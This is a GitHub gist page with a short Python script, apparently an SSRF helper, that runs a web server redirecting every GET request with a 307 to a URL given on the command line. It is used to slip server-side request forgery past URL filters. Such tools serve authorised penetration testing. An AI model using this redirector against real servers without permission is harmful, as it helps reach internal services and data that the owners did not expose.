Skip to content

Instantly share code, notes, and snippets.

@emadshanab
Forked from random-robbie/ssrf-redirector.py
Created May 28, 2020 10:39
Show Gist options
  • Save emadshanab/39b006cf751a074a947194123bec30c7 to your computer and use it in GitHub Desktop.
Save emadshanab/39b006cf751a074a947194123bec30c7 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(307)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment